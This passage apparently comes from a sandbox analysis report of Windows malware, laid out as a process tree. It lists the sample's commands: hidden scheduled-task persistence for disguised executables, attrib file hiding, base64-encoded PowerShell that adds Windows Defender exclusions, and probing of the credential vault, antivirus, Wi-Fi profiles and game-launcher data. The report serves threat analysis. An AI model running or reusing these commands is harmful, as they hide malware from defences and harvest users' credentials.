  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1308
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:7012
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:LOCALAPPDATA\Microsoft\Vault -Recurse -ErrorAction SilentlyContinue | Select-Object FullName,Length | Format-Table -AutoSize"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6844
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp
      4⤵
      Views/modifies file attributes
      PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem -Path $env:USERPROFILE\Documents\Default.rdp -ErrorAction SilentlyContinue | Select-Object FullName | Format-Table -AutoSize"
  2⤵
  PID:6228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe" 2>nul'"
  2⤵
  PID:2344
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2940
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe
      4⤵
      Views/modifies file attributes
      PID:6480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Select-Object displayName, productState, pathToSignedProductExe | Format-List"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAEUAUgBcAFwAVABlAG0AcAAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAEUAUgBcAFwAVABlAG0AcABcAFwAcwBpAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'netsh advfirewall show allprofiles 2>nul'"
  2⤵
  PID:5540
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "netsh advfirewall show allprofiles 2>nul"
    3⤵
    PID:7016
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:6564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAHMAaQBoAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1240
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6672
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6352
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'netsh wlan show profiles'"
  2⤵
  PID:6244
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6816
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache" 2>nul'"
  2⤵
  PID:1540
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6896
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache
      4⤵
      Views/modifies file attributes
      PID:596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe" 2>nul'"
  2⤵
  PID:6392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2680
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe
      4⤵
      Views/modifies file attributes
      PID:6376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6596
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Policies /s 2>nul"
    3⤵
    PID:4220
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Policies /s
      4⤵
      PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABBAHAAcABNAG8AZABlAGwAXABcAEMAYQBjAGgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul'"
  2⤵
  PID:1260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul"
    3⤵
    PID:3516
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\Run
      4⤵
      PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABBAHAAcABNAG8AZABlAGwAXABcAEMAYQBjAGgAZQBcAFwAYgBhAGMAawBnAHIAbwB1AG4AZABUAGEAcwBrAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKLM\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul'"
  2⤵
  PID:6624
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul"
    3⤵
    PID:6440
  - - C:\Windows\system32\reg.exe
      reg query \HKLM\Software\Microsoft\Windows\CurrentVersion\Run
      4⤵
      PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGIAYQBjAGsAZwByAG8AdQBuAGQAVABhAHMAawBIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:7004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" 2>nul'"
  2⤵
  PID:6560
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul"
    3⤵
    PID:4560
  - - C:\Windows\system32\reg.exe
      reg query \HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
      4⤵
      PID:6948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4576
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /query /fo CSV /nh 2>nul'"
  2⤵
  PID:5604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /query /fo CSV /nh 2>nul"
    3⤵
    PID:6788
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /fo CSV /nh
      4⤵
      PID:6544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:2868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6592
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0" 2>nul'"
  2⤵
  PID:6692
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3260
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0
      4⤵
      Views/modifies file attributes
      PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe" 2>nul'"
  2⤵
  PID:6360
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6280
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe
      4⤵
      Views/modifies file attributes
      PID:1040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct | Format-List *"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAEwAUgBfAHYANAAuADAAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "MODULES_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277517513" /f 2>nul'"
  2⤵
  PID:3484
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d MODULES_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277517513 /f 2>nul"
    3⤵
    PID:3244
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d MODULES_DONE
      4⤵
      Modifies registry key
      PID:5992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMATABSAF8AdgA0AC4AMAAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Epic Games\Epic Games Launcher" /s 2>nul'"
  2⤵
  PID:6716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Epic Games\Epic Games Launcher /s 2>nul"
    3⤵
    PID:6928
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Epic Games\Epic Games Launcher /s
      4⤵
      Modifies registry key
      PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
